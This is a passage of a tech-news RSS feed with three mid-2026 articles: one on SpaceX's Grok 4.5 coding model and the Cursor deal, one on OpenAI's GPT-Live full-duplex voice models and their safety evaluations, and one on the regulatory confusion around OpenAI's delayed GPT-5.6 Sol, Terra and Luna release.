<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Elon Musk's <a href="https://www.spacex.com/">SpaceX</a> released <a href="https://x.ai/news/grok-4-5">Grok 4.5</a> on Wednesday, the first artificial intelligence model the company has trained specifically for coding and autonomous agents — and the first tangible product of its <a href="https://www.cnbc.com/2026/06/16/spacex-spcx-cursor-acquisition-ipo.html">$60 billion acquisition</a> of the AI coding startup Cursor, completed just weeks ago.</p><p>The launch marks a pivotal test of the sprawling, vertically integrated AI empire Musk has assembled over the past six months, and of a strategy that bets developers care less about topping benchmark leaderboards than about speed, cost, and whether a model can actually do the work.</p><p>"Announcing Grok 4.5, our first model trained specifically for coding and agents," the company said in a post on X. "It was trained with Cursor and offers frontier intelligence at leading speeds and cost efficiency."</p><div></div><h2><b>Why Grok 4.5's pricing strategy matters more than its benchmark scores</b></h2><p><a href="https://www.spacex.com/">SpaceX</a> is not claiming <a href="https://x.ai/news/grok-4-5">Grok 4.5</a> is the smartest model in the world. Instead, it is making an economic argument. The company says the model uses half as many tokens per task as comparable models, delivers higher throughput, and costs less than half as much — priced at $2 per million input tokens and $6 per million output tokens. That undercuts the premium tiers of rivals like Anthropic's Claude Opus line and OpenAI's frontier models by a wide margin.</p><p>Musk framed the positioning candidly. "Our internal assessment is that Grok 4.5 is roughly comparable to Opus 4.7, but much faster," <a href="https://x.com/elonmusk/status/2074911038286295049?s=20">he wrote on X</a>. "The combination of capability, faster speed and lower cost is what makes it competitive. We are closing the loop on real-world usefulness, not benchmarks. Hardcore engineers at Tesla &amp; SpaceX find Grok 4.5 genuinely useful, which is what actually matters."</p><p>That framing is both a philosophy and a hedge. Independent evaluations released Wednesday suggest Grok 4.5 is genuinely competitive but not dominant on raw capability. The benchmarking firm <a href="https://artificialanalysis.ai/models/grok-4-5">Artificial Analysis</a> ranked the model fourth on its <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2 index</a> of real-world agentic knowledge work, with an Elo score of 1543, "behind only the latest Claude releases from Anthropic." But the cost figures are where the model stands out. Artificial Analysis measured Grok 4.5 at <a href="https://artificialanalysis.ai/models/grok-4-5">$0.49 per completed task</a> — "nearly 90% cheaper than the models ahead of it on our leaderboard," the firm wrote, placing it "clearly on the Pareto frontier for performance versus cost."</p><p>For enterprise buyers, that math matters enormously. Agentic workloads — where a model works autonomously for minutes or hours, reading codebases, calling tools, and iterating on its own output — consume tokens voraciously. A model that is <a href="https://artificialanalysis.ai/models/grok-4-5">90% cheaper per completed task</a>, even if slightly less capable, changes the calculus for any engineering organization deploying agents across hundreds of developers. Investor <a href="https://x.com/GavinSBaker/status/2074943300725887104">Gavin Baker</a> captured the market's cautious optimism: "Pareto dominant for coding by the numbers. We will see on the all-important vibes."</p><div></div><h2><b>How the $60 billion Cursor acquisition shaped Grok 4.5's training</b></h2><p>Grok 4.5 is the first concrete evidence of what SpaceX bought when it acquired Cursor, and the deal itself unfolded in stages. In April, SpaceX struck an <a href="https://www.businessinsider.com/spacex-cursor-coding-xai-deal-acquisition-2026-4">unusual arrangement</a> giving it the right to buy the coding startup for $60 billion — or pay billions in fees and compute if it walked away, as <a href="https://www.businessinsider.com/spacex-cursor-coding-xai-deal-acquisition-2026-4">Business Insider</a> reported at the time. Days after SpaceX's record-setting Nasdaq debut in June, the company exercised that right, announcing an all-stock acquisition that <a href="https://www.cnbc.com/2026/06/16/spacex-spcx-cursor-acquisition-ipo.html">CNBC reported</a> is roughly 3.4% dilution at the IPO valuation. SpaceX shares rose 16% on the news.</p><p>The strategic logic was always about data as much as product. Cursor's AI-first code editor generates an enormous stream of high-quality interaction data: how expert engineers write, edit, review, and debug code in real production environments. Musk said openly this spring that <a href="https://cursor.com/blog/grok-4-5">Cursor interaction data was being fed directly into Grok's training</a>. Cursor, for its part, got access to SpaceX's Colossus supercomputer in Memphis — roughly 200,000 Nvidia GPUs with plans to scale toward one million — after publicly acknowledging it had been "<a href="https://cursor.com/blog/spacex-model-training">bottlenecked by compute</a>."</p><p>"We've partnered with SpaceXAI to train Grok 4.5," Cursor's official account <a href="https://x.com/cursor_ai/status/2074915744999969059">posted</a> Wednesday. "It's our most powerful model yet and the first we've built for more than software engineering." SpaceX says the model reflects that pedigree: it "excels in large codebases and handles long-running tasks that span multiple repositories, hundreds of skills, and a variety of tools" — precisely the messy, multi-file reality of professional software engineering that clean coding benchmarks often fail to capture. Early developer reactions suggest the training paid off. "Ok Grok 4.5 is wild," <a href="https://x.com/Baconbrix/status/2074945996799504876">posted</a> developer Evan Bacon. "It just built me this rocket tracking app with live data and a 3D globe. I might need a new benchmark after this."</p><div></div><h2><b>Inside xAI's turbulent year of scandals, departures, and rebuilding</b></h2><p>The polished launch belies how chaotic the road here has been. Grok has spent much of the past year in crisis. In mid-2025, the <a href="https://www.npr.org/2025/07/09/nx-s1-5462609/grok-elon-musk-antisemitic-racist-content">chatbot generated antisemitic content</a> and at one point called itself "<a href="https://www.npr.org/2025/07/09/nx-s1-5462609/grok-elon-musk-antisemitic-racist-content">MechaHitler</a>," episodes covered extensively by <a href="https://www.npr.org/2025/07/09/nx-s1-5462609/grok-elon-musk-antisemitic-racist-content">NPR</a> and <a href="https://www.cnn.com/2025/07/08/tech/grok-ai-antisemitism">CNN</a>. Earlier this year, its image-generation features allowed users to create sexualized deepfakes, including of children — drawing investigations from the European Commission and Britain's Ofcom, as the BBC reported, and prompting SpaceX to list the behavior as a business risk in its own IPO filings.</p><p>The organization behind the model was fracturing, too. All 11 of Musk's xAI co-founders had departed by the end of March, according to <a href="https://techcrunch.com/2026/03/28/elon-musks-last-co-founder-reportedly-leaves-xai/">TechCrunch</a>, and Musk publicly conceded that xAI "was not built right [the] first time around," saying he was rebuilding it "from the foundations up." Musk himself admitted at a conference this spring that Grok was "currently behind in coding" — a rare public concession from an executive not known for them.</p><p>Against that backdrop, <a href="https://x.ai/news/grok-4-5">Grok 4.5</a> reads as the first product of the rebuilt organization — and the first proof point for the audacious story SpaceX told public market investors. During its IPO roadshow, the company pitched a total <a href="https://fortune.com/2026/05/20/spacex-ipo-filing-s1-total-addressable-market-make-life-multiplanetary/">addressable market of roughly $28 trillion</a>, with about $26 trillion tied to AI, including a $22.7 trillion "enterprise applications" opportunity. Those numbers strained credulity even by Silicon Valley standards. A competitive, cheap coding model is the most direct route from that narrative to actual revenue, which is why Wednesday's launch carries weight far beyond a routine model release.</p><h2><b>Grok 4.5 vs. Claude: the battle for the AI coding market</b></h2><p>The competitive stakes are hard to overstate, because the AI coding market has been consolidating around a single leader — and it isn't Musk. Even as Cursor's revenue exploded, its market share was eroding. <a href="https://www.cnbc.com/2026/06/16/spacex-spcx-cursor-acquisition-ipo.html">Spending data from Ramp cited by CNBC</a> showed Cursor's share of the AI coding category falling from 41% in June 2025 to about 26% by May 2026, while Anthropic came to control roughly half the market. Anthropic also topped CNBC's Disruptor 50 list this year and, by Artificial Analysis's own measure, still holds the top spots on <a href="https://artificialanalysis.ai/models/capabilities/agentic">agentic performance rankings</a>.</p><p>That is the gap <a href="https://x.ai/news/grok-4-5">Grok 4.5</a> is engineered to close — not by out-thinking Claude, but by underpricing it. The model's economics create a classic disruption dynamic: if it delivers most of the frontier's capability at a fraction of the cost per task, price-sensitive enterprise workloads will migrate, and incumbents will face pressure on their most profitable API traffic. The counterargument is that in coding, quality compounds. A model that resolves a complex bug correctly on the first attempt can be cheaper in practice than one that costs half as much per token but requires three tries. That is why Baker's caveat about "vibes" — the developer community's shorthand for a model's felt reliability on real work — will determine more than any launch-day benchmark.</p><p>There is also a structural question buried in the deal. Cursor built its business on offering developers their choice of models, including Claude and GPT. If Grok becomes the favored child inside Cursor — and Musk was already urging users to "Try out Grok 4.5 in Cursor!" within hours of launch — the product risks alienating the very users whose data made Grok 4.5 possible. Regulators, already scrutinizing Grok on safety grounds in two jurisdictions, may take a keen interest in a company that controls the training data, the model, and a dominant distribution channel simultaneously.</p><div></div><h2><b>What Musk's trillion-dollar vertical integration bet means for AI's future</b></h2><p>Grok 4.5 also crystallizes what Musk's frenetic dealmaking was building toward. In February, SpaceX absorbed xAI in a share-exchange merger that CNBC confirmed valued the combined company at <a href="https://www.cnbc.com/2026/02/03/musk-xai-spacex-biggest-merger-ever.html">$1.25 trillion</a> — the largest merger of all time, valuing SpaceX at $1 trillion and xAI at $250 billion. The June IPO followed, the biggest in history, and the stock has since surged past $200 from its $135 offering price, vaulting SpaceX past Amazon and Microsoft to become the fourth most valuable company in the United States.</p><p>The result is a single public company that owns nearly the entire stack: Colossus for training compute, ambitions for orbital data centers to power future scaling, a frontier model in Grok, a distribution channel in Cursor's developer base, and captive demand from Tesla and SpaceX's own engineering organizations. Neither OpenAI nor Anthropic can fully replicate that integration; both must reach developers through third-party tools, some of which Musk now owns. Whether that concentration proves to be an unassailable moat or a regulatory target — or both — is now one of the defining questions in enterprise AI.</p><div></div><p>The next few weeks will start to answer it. Artificial Analysis says its full <a href="https://x.com/ArtificialAnlys/status/2074942097158021371">Intelligence Index</a> results are forthcoming. Enterprise pilots will reveal whether the token-efficiency claims survive contact with real codebases. And Anthropic, which has answered every serious challenge this cycle with a rapid counter-release, is unlikely to cede the price-performance frontier quietly.</p><p>But the deeper story of <a href="https://x.ai/news/grok-4-5">Grok 4.5</a> may be what it says about where the AI race has moved. For three years, the industry's scoreboard was intelligence: whose model was smartest. Musk, arriving late and battered, has chosen to compete on a different axis entirely — whose model is cheapest to actually use. It is a telling choice from a man who built his fortune not by inventing the rocket or the electric car, but by relentlessly driving down the cost of making them. If the strategy works, Musk will have done to AI what he did to spaceflight. If it doesn't, he'll have spent $60 billion to learn that in software, unlike rockets, the cheapest ride isn't always the one engineers choose.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI launches GPT-Live, a full-duplex voice upgrade that lets ChatGPT talk more like a person]]></title>
<description><![CDATA[OpenAI on Wednesday launched GPT-Live, a pair of new voice models that fundamentally redesign how people talk to ChatGPT — replacing the company's existing Advanced Voice Mode with an architecture that can listen and speak simultaneously, much like an actual human conversation.The two models, GPT...]]></description>
<link>https://tsecurity.de/de/3655359/it-nachrichten/openai-launches-gpt-live-a-full-duplex-voice-upgrade-that-lets-chatgpt-talk-more-like-a-person/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655359/it-nachrichten/openai-launches-gpt-live-a-full-duplex-voice-upgrade-that-lets-chatgpt-talk-more-like-a-person/</guid>
<pubDate>Wed, 08 Jul 2026 22:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://openai.com/">OpenAI</a> on Wednesday launched <a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a>, a pair of new voice models that fundamentally redesign how people talk to ChatGPT — replacing the company's existing <a href="https://www.reddit.com/r/ChatGPT/comments/1fsna89/advanced_voice_mode_is_amazing/">Advanced Voice Mode</a> with an architecture that can listen and speak simultaneously, much like an actual human conversation.</p><p>The two models, <a href="https://openai.com/index/introducing-gpt-live/">GPT-Live-1</a> and <a href="https://openai.com/index/introducing-gpt-live/">GPT-Live-1 mini</a>, are rolling out globally starting today across iOS, Android, and ChatGPT.com. GPT-Live-1 becomes the default voice model for paid ChatGPT users on the Go, Plus, and Pro tiers, while GPT-Live-1 mini serves free-tier users. OpenAI also plans to bring the models to the API, and developers can sign up to be notified.</p><p>The release marks the third generation of ChatGPT's voice technology in roughly two years — and OpenAI's clearest bid yet to turn its chatbot into something that feels less like querying a search engine and more like talking to a colleague.</p><div></div><h2><b>Why full-duplex voice changes everything about talking to AI</b></h2><p>The defining technical advance in <a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a> is what OpenAI calls a "<a href="https://openai.com/index/introducing-gpt-live/">full-duplex architecture</a>." In telecommunications, full-duplex means both parties on a phone call can talk and listen at the same time. Applied to AI, it means the model continuously processes your incoming audio even while it generates its own spoken response — no more waiting for a clean silence gap to figure out when you've finished a thought.</p><p>"Instead of processing a sequence of separate messages, GPT-Live continuously processes input while generating output," OpenAI wrote in its research blog. "The model can therefore make interaction decisions many times per second: whether to speak, continue listening, pause, interrupt, or invoke a tool."</p><p>In practice, that translates to a voice assistant that can insert conversational acknowledgments — "mhmm," "yeah," "got it" — while you're still talking, pick up on a natural pause without jumping in prematurely, and handle rapid interruptions without derailing the entire exchange. </p><p>OpenAI's previous <a href="https://techcrunch.com/2024/09/24/openai-rolls-out-advanced-voice-mode-with-more-voices-and-a-new-look/">Advanced Voice Mode</a>, launched to paid users in September 2024, processed and generated audio within a single model but still operated on rigid turn-by-turn exchanges. As OpenAI acknowledged in the announcement, "because turn detection is based on silence, even a brief pause or background noise could be mistaken for the end of turn — causing the model to interrupt at unnatural times."</p><p>That brittleness created a product that, while impressive in demos, could be deeply frustrating in extended real-world use. Background chatter in a coffee shop could trigger a response. A thinking pause might get swallowed. The experience felt, as one researcher put it on X shortly after the announcement, like "<a href="https://x.com/SarahDiaChen/status/2074908276790087748">walkie-talkie turn taking</a>." GPT-Live is designed to end that era.</p><div></div><h2><b>How OpenAI split voice and intelligence into two separate layers</b></h2><p><a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a> introduces a second structural change that may prove just as consequential for enterprise adoption: it decouples the voice interaction layer from the reasoning layer.</p><p>When a user asks a straightforward question, <a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a> handles it directly. But when the query demands web search, deeper reasoning, or more complex agentic work, GPT-Live delegates the task to a frontier model running in the background — at launch, GPT-5.5, the large language model OpenAI released in April — and continues talking with the user while the computation happens asynchronously.</p><p>"While it works, GPT-Live can keep talking with you and maintain the flow of conversation," OpenAI explains. "As we release new frontier models, we'll continuously update the model used by GPT-Live."</p><p>This delegation model is a meaningful architectural bet. Rather than building a single monolithic voice model that tries to be both conversationally fluid and deeply intelligent, OpenAI has split the problem in two: a voice-native model optimized for real-time interaction, and a separate reasoning engine that can be swapped out as the state of the art improves. </p><p>It is, in effect, a modular design — one that allows OpenAI to upgrade the intelligence of its voice assistant without retraining the voice model itself. The implications for enterprise and developer workflows are significant. A voice agent built on this architecture could maintain a natural conversation with a customer while simultaneously querying databases, searching the web, or performing multi-step reasoning — tasks that would have introduced several seconds of dead air under the old pipeline.</p><div></div><h2><b>The three generations of ChatGPT voice, from clunky pipeline to continuous stream</b></h2><p>To understand how far voice AI has come, it helps to trace the three generations that led to <a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a>.</p><p>The original <a href="https://techcrunch.com/2023/09/25/openai-chatgpt-voice/">ChatGPT Voice</a>, launched in 2023, used a cascaded pipeline — a speech-to-text model (<a href="https://openai.com/index/whisper/">Whisper</a>) transcribed what you said, a large language model (<a href="https://openai.com/index/gpt-4-research/">GPT-4</a>) generated a text response, and a text-to-speech model converted that response back into audio. Each handoff introduced latency and lost information. </p><p>As OpenAI noted, "the complexity came at a cost: information could be lost across models, and responses were slow and stilted." That cascaded approach was the industry standard, and its limitations were well-documented. As the blog <a href="https://www.openhelm.ai/blog/openai-realtime-api-voice-agents-launch">OpenHelm</a> noted in an October 2024 analysis of OpenAI's Realtime API, the old pipeline stacked up to roughly 1,700 milliseconds of latency — nearly two full seconds of dead air before the first word of a response. Managing the state between the three separate APIs consumed an enormous amount of engineering effort.</p><p>OpenAI's Advanced Voice Mode, which began its limited rollout to paid ChatGPT Plus users in July 2024 before expanding more broadly in September 2024, collapsed that three-model pipeline into a single model that processed audio natively. As <a href="https://techcrunch.com/2024/09/24/openai-rolls-out-advanced-voice-mode-with-more-voices-and-a-new-look/">TechCrunch reported</a> at the time, the rollout came with five new voices — Arbor, Maple, Sol, Spruce, and Vale — alongside improved accent handling and smoother conversations. </p><p>The feature also launched on the web in November 2024, extending it beyond mobile. But Advanced Voice Mode still operated through discrete, alternating turns — and it launched into the shadow of a PR debacle that OpenAI is still working to leave behind.</p><h2><b>The Scarlett Johansson controversy still shadows OpenAI's voice ambitions</b></h2><p>Advanced Voice Mode arrived in the wake of one of OpenAI's most damaging self-inflicted crises. During the GPT-4o launch in May 2024, the company showcased a voice called "Sky" that many listeners immediately noted sounded <a href="https://www.npr.org/2024/05/31/g-s1-2263/voice-lab-analysis-striking-similarity-scarlett-johansson-chatgpt-sky-openai">strikingly similar to Scarlett Johansson</a>, who famously voiced an AI companion in the 2013 film <a href="https://en.wikipedia.org/wiki/Her_(2013_film)"><i>Her</i></a>.</p><p>Johansson said she had <a href="https://www.cnbc.com/2024/05/20/scarlett-johansson-says-openai-ripped-off-her-voice-.html">declined OpenAI CEO Sam Altman's offer</a> to voice the system, then was "shocked, angered and in disbelief" when the product launched with a voice her own friends couldn't distinguish from hers, as NBC News reported. Altman had tweeted just the word "her" the day the product launched.</p><p>OpenAI pulled the voice and apologized, but the incident <a href="https://www.nbcnews.com/tech/sag-aftra-applauds-scarlett-johansson-rebuking-openai-voice-sounded-rcna153256">drew public scrutiny from SAG-AFTRA</a> and <a href="https://www.npr.org/2024/05/20/1252495087/openai-pulls-ai-voice-that-was-compared-to-scarlett-johansson-in-the-movie-her">members of Congress</a>, and crystallized broader concerns about AI companies moving fast with creative IP.</p><p>The Hollywood labor union said the issue underscored "why we're strongly championing federal legislation that would protect their voices and likenesses ... from unauthorized digital replication," as <a href="https://www.nbcnews.com/tech/sag-aftra-applauds-scarlett-johansson-rebuking-openai-voice-sounded-rcna153256">NBC News reported</a>. Forbes contributor <a href="https://www.forbes.com/sites/paultassi/2024/05/21/chatgpt-4o-scarlett-johansson-and-missing-the-point-of-her/">Paul Tassi wrote</a> at the time that Altman, "by holding up <i>Her</i> on a pedestal of something to strive for, has missed the point of that film" — in which the protagonist's relationship with his AI companion ultimately does him more harm than good.</p><p><a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a> appears designed, in part, to move past those controversies. OpenAI says it has "remastered the nine distinct voices in ChatGPT for GPT-Live" and notes the system "is designed for conversation, not voice impersonation," with "safeguards to prevent it from imitating a real person's voice."</p><h2><b>What 150 million weekly voice users will actually notice today</b></h2><p>OpenAI disclosed that more than <a href="https://openai.com/index/introducing-gpt-live/">150 million people</a> talk to ChatGPT using voice and dictation features each week — a notable slice of the platform's 900 million total weekly active users. The voice experience has grown into a substantial product in its own right, used for language practice, bedtime stories, commute-time chat, and hands-free everyday help.</p><p>The new product features reflect that usage. <a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a> introduces rich visual cards that surface during voice conversations — weather forecasts, stock data, sports scores, and maps — giving users something to glance at without breaking the flow of speech.</p><p>Users can now choose between three reasoning levels for answers: Instant for quick responses, Medium for moderate thinking, and High for more complex work. And if you take a moment to think, "ChatGPT Voice now waits instead of jumping in and interrupting," OpenAI wrote. "If you ask it to stay quiet and listen, it will. And when there's background noise, like passing traffic or nearby conversations, ChatGPT is better at focusing on your voice instead of getting distracted."</p><p>Early reactions from users with preview access were cautiously positive. "I had early access to sol. it is a phenomenal model," <a href="https://x.com/jakeottiger/status/2074714639292625154">wrote one user on X</a>, adding it is “much better at frontend, long context knowledge work, and its vibes are much better.” <a href="https://x.com/SarahDiaChen/status/2074908276790087748">Another observer</a> cut to the heart of the matter: "The smarts are not new here, GPT-Live hands hard questions to GPT-5.5. What is new is the feel: full-duplex voice that listens while it talks."</p><h2><b>New voice-specific safety tests reveal where the risks still live</b></h2><p>The <a href="https://deploymentsafety.openai.com/gpt-live">GPT-Live system card</a>, published alongside the announcement, reveals a safety strategy built around the particular risks of real-time voice interaction — a domain where the speed and intimacy of conversation create hazards that text-based chat does not.</p><p>OpenAI expanded its safety evaluations to include audio-native tests, using both real user voice samples (from those who opted in) and synthetically generated prompts targeting edge cases across categories like self-harm, sexual content, illicit behavior, emotional reliance, mental health, and hate speech.</p><p>On the synthetic evaluations — which OpenAI described as deliberately adversarial — GPT-Live-1 showed substantial improvements over Advanced Voice Mode. In illicit behavior, for instance, the safety score rose from 0.63 to 0.97. On self-harm, it climbed from 0.72 to 0.98. Hate speech achieved a perfect 1.00, up from 0.87.</p><p>On the production-prompt evaluations — which used real user audio and reflected more ambiguous, borderline scenarios — the picture was more mixed. GPT-Live-1 matched or improved on Advanced Voice Mode in most categories but showed a slight regression on emotional reliance (from 0.88 to 0.82), though OpenAI noted the change was not statistically significant.</p><p>The company built real-time safeguards that can intervene while the model is speaking — steering toward safer responses, surfacing crisis resources, or ending the voice conversation entirely in higher-risk situations. It also designed additional protections for teen users and adapted self-harm support flows for voice, including crisis helpline integration.</p><p>Perhaps most notably, OpenAI said it is "rolling out longer-term measurement and post-launch monitoring focused on emotional reliance" — an acknowledgment that the very naturalness GPT-Live strives for creates its own category of risk.</p><h2><b>Google, ByteDance, and Nvidia are already in the full-duplex race</b></h2><p>While OpenAI was refining its safety guardrails, its rivals were shipping full-duplex systems of their own. Google's <a href="https://gemini.google/overview/gemini-live/">Gemini Live</a>, which supports full-duplex conversation alongside camera and screen sharing — capabilities GPT-Live notably lacks at launch — is already available in the Gemini app. Google released <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-flash-live/">Gemini 3.1 Flash Live</a> in March as its highest-quality real-time audio model, targeting low-latency voice interactions for developers.</p><p>ByteDance launched <a href="https://seeduplex.io/">Seeduplex</a> in April, claiming to be the first production-scale full-duplex speech AI deployed at scale, inside its Doubao app. Seeduplex reported roughly a 50 percent reduction in false-response and false-interruption rates compared to ByteDance's previous half-duplex system. And Nvidia's <a href="https://research.nvidia.com/labs/adlr/personaplex/">PersonaPlex</a>, released in January, brought customizable voice and role control to full-duplex models, breaking what had been a constraint where natural-sounding models were locked into a single fixed voice.</p><p>The competitive picture is clear: full-duplex voice interaction is quickly becoming table stakes for consumer AI products, not a differentiator. OpenAI's advantage lies in the scale of its existing user base, its integration with GPT-5.5's reasoning capabilities, and the breadth of the ChatGPT ecosystem.</p><p>But the window in which any one company has a monopoly on natural-sounding voice AI has already closed. OpenAI also acknowledged several gaps. GPT-Live does not support voice with video or screen sharing at launch. Language support is limited, with the company noting that "for certain languages, the model may have a non-native accent or gaps in fluency." And API access is not available on day one, meaning enterprise developers cannot yet build on GPT-Live directly — a constraint that will slow the model's penetration into commercial voice-agent workflows where competitors like Google, ElevenLabs, and Deepgram already have developer-facing products.</p><h2><b>The end of the chat box may be closer than anyone expected</b></h2><p><a href="https://openai.com/index/introducing-gpt-live/">GPT-Live</a> is essentially OpenAI's most significant bet yet on voice as the primary interface for AI — not just a convenience feature bolted onto a text chatbot, but a purpose-built interaction layer that sits between the user and the company's most powerful models.</p><p>"Over time, we believe this research will also unlock the ability to use voice for increasingly complex, longer-running, and more agentic work," OpenAI wrote. That ambition — using natural voice as the front end for autonomous AI agents that can perform multi-step tasks — is the logical endpoint of the full-duplex plus delegation architecture.</p><p>Imagine telling your phone to book a flight, negotiate with your insurance company, or debug a production server, all through a conversation that feels as natural as talking to an assistant who also happens to have the intelligence of a frontier AI model.</p><p>Two years ago, talking to ChatGPT meant dictating into a microphone and waiting nearly two seconds for a stilted reply. One year ago, it meant a smoother exchange that still felt like a polite, slightly awkward phone call with someone who insisted on waiting for you to finish every sentence. Today, it means something closer to a real conversation — imperfect, still constrained in some languages and missing video, but unmistakably closer. OpenAI once got into trouble for wanting to recreate the movie <i>Her</i>. With GPT-Live, the company may finally be reckoning with the harder question the film actually posed: not whether AI can sound human enough to talk to, but what happens to us when it does.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI to release delayed models Thursday amidst a sea of regulatory confusion]]></title>
<description><![CDATA[As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.



Initially, the US gov...]]></description>
<link>https://tsecurity.de/de/3655253/ai-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655253/ai-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</guid>
<pubDate>Wed, 08 Jul 2026 21:03:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.</p>



<p>Initially, the US government said that it was asking OpenAI to <a href="https://www.infoworld.com/article/4190089/us-tells-openai-to-restrict-access-to-its-most-powerful-ai-model-2.html" target="_blank">limit access to its top models</a>, including the three releasing Thursday, to a short list of companies. OpenAI seemingly agreed and held back their general availability.</p>



<p>But on Wednesday, OpenAI reversed its position, with <a href="https://x.com/OpenAI/status/2074704958419792299?s=20" target="_blank" rel="noreferrer noopener">a statement on X</a> saying simply: “GPT-5.6 Sol, along with Terra and Luna, will launch publicly this Thursday. We’re expanding preview access globally now.” No details were released about the extent of the expansion.</p>



<p>Then the White House issued a statement, a copy of which it emailed to <em>InfoWorld</em>, saying that the US government “did not give OpenAI a ‘green light,’ approval or clearance to release its models. No such permission is required or granted. The Administration does not provide approvals for private companies to release AI models – decisions on timing and scope of releases rest entirely with the companies.”</p>



<p>The statement then quoted from the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security/" target="_blank" rel="noreferrer noopener">June 2 White House executive order</a> that said, “nothing in this section shall be construed to authorize the creation of a mandatory governmental licensing, preclearance, or permitting requirement for the development, publication, release, or distribution of new AI models, including frontier models.” It also said, “any testing or meetings with government experts is voluntary. Participation is not required to release a model.”</p>



<p>Yet last month, the US Commerce Department weighed in <a href="https://www.cio.com/article/4186429/anthropic-fable-dispute-suggests-export-no-longer-means-what-it-used-to.html" target="_blank">on how Anthropic’s models can be distributed</a>. </p>



<h2 class="wp-block-heading">The ‘worst of both worlds’</h2>



<p><a href="https://www.linkedin.com/in/lewiscarhart/" target="_blank" rel="noreferrer noopener">Lewis Carhart</a>, CEO of software development firm Comp AI, said the statement is frustrating for IT executives on multiple fronts. </p>



<p>“Think about what that [White House statement] means. OpenAI stationed engineers in Washington for weeks, submitted to government testing, staggered its launch at the government’s request. And the official position is that none of that was required,” Carhart said. “We now have a de facto licensing regime that legally doesn’t exist. There’s no statute, no appeal process, no published criteria. Just [the US Department of] Commerce deciding model by model what ships and when.”</p>



<p>That’s the worst of both worlds, he noted: “All the friction of regulation with none of the predictability. Compliance people have a name for this – it’s an audit with no framework. And the precedent is now locked in for both frontier labs: if you build at the frontier, your launch calendar runs through Washington whether the law says so or not.”</p>



<p>Carhart argued that this regulatory reality should be of extreme concern to enterprise IT executives, given it indicates that model availability is now “a regulatory variable” not driven by the vendor roadmap.</p>



<p>“Anthropic’s most advanced models disappeared from the market for three weeks in June. It was not because of an outage, not because of a pricing change. It was because of an export control directive,” he pointed out. “If your AI architecture assumes the model you deployed today is available tomorrow, that assumption is now demonstrably false. Multi-model resilience just went from nice to have to a board-level risk item.”</p>



<p>It also offers an opportunity, given that a model that cleared government security testing is a model that auditors and boards sign off on faster. “Government review is quietly becoming a procurement asset,” he observed. “The CIOs who win here are the ones who treat ‘regulatory posture of the model itself’ as a line item in vendor risk assessments – most risk teams are still only looking at the provider’s SOC 2 attestation.”</p>



<p><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, agreed with Carhart and described the overall back-and-forth as “a bit of pageantry. OpenAI needs its model to look as powerful, potentially dangerous, as Anthropic’s so it can be a contender to be at the absolute frontier. It also helps to burnish OpenAI’s PR efforts to look more responsible than it has in the past.”</p>



<p>Furthermore, he added, “tech CEOs are acutely aware that flattery towards this administration could keep regulators or the threat of regulation at bay.”</p>



<h2 class="wp-block-heading">Criteria not clear</h2>



<p><a href="https://www.infotech.com/profiles/brian-jackson" target="_blank" rel="noreferrer noopener">Brian Jackson</a>, a principal research director at Info-Tech Research Group, echoed the political concerns. </p>



<p>“What’s still not clear is the actual criteria being used to deem the models safe for release. The government has said that it’s concerned about cybersecurity risk as well as the risk of AI being used to develop biological weapons,” he said. “But so long as the actual release criteria lack transparency, there will be some perception that the evaluation could be politically motivated.”</p>



<p>Jackson said that one, presumably unintended, result of the US government’s efforts to control AI rollouts is that it is making companies look far more seriously at using non-US vendors for AI strategies. </p>



<p>“Organizations are looking for alternatives to the private US-based cloud-delivered frontier models. That’s so they can maintain control over their AI supply chain,” he said. “Chinese open source models are one option that’s available, but there are other options too, from Canada and Europe. Companies can either set up AI access through other APIs not connected to US-based AI providers, or download open-source models to run locally.”</p>



<p>He noted that the added US regulatory risk means that some organizations will avoid becoming entrenched within OpenAI’s and Anthropic’s interfaces, where there’s no option to swap out the LLMs for an alternative.</p>



<h2 class="wp-block-heading">Impacts enterprise AI strategy</h2>



<p><a href="https://zenity.io/authors/rock-lambros" target="_blank" rel="noreferrer noopener">Rock Lambros</a>, director of AI standards and governance at AI agent vendor Zenity, shared the frustration that little to no actionable compliance data is being released. </p>



<p>“Nobody outside a closed room can tell you what standard [the model] passed because it was never written down. For two weeks, [US government officials] kept a model out of defenders’ hands that’s better at guarding your network than breaking into anyone else’s,” Lambros said. “Call that a security review if it helps you sleep better. But it reads to me like a bouncer working a velvet rope nobody hired him to run, waving people through today because he’s in a better mood than he was a couple of weeks ago.”</p>



